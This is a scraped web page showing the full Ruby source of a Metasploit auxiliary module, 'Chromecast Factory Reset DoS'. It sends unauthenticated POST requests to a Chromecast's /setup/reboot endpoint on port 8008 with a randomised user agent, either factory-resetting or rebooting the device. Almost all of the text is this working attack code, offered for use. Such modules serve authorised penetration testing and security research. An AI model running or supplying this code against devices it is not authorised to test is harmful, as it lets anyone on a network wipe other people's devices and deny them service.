Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/chromecast/chromecast_reset.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(update_info(info,10'Name' => 'Chromecast Factory Reset DoS',11'Description' => %q{12This module performs a factory reset on a Chromecast, causing a denial of service (DoS).13No user authentication is required.14},15'Author' => ['wvu'],16'References' => [17['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website18],19'License' => MSF_LICENSE,20'Actions' => [21['Reset', 'Description' => 'Factory reset'],22['Reboot', 'Description' => 'Reboot only']23],24'DefaultAction' => 'Reset'25))2627register_options([28Opt::RPORT(8008)29])30end3132def run33case action.name34when 'Reset'35res = reset36when 'Reboot'37res = reboot38end3940if res && res.code == 20041print_good("#{action.name} performed")42elsif res43print_error("An error occurred: #{res.code} #{res.message}")44end45end4647def reset48begin49send_request_raw(50'method' => 'POST',51'uri' => '/setup/reboot',52'agent' => Rex::Text.rand_text_english(rand(42) + 1),53'ctype' => 'application/json',54'data' => '{"params": "fdr"}'55)56rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,57Rex::HostUnreachable => e58fail_with(Failure::Unreachable, e)59ensure60disconnect61end62end6364def reboot65begin66send_request_raw(67'method' => 'POST',68'uri' => '/setup/reboot',69'agent' => Rex::Text.rand_text_english(rand(42) + 1),70'ctype' => 'application/json',71'data' => '{"params": "now"}'72)73rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,74Rex::HostUnreachable => e75fail_with(Failure::Unreachable, e)76ensure77disconnect78end79end80end818283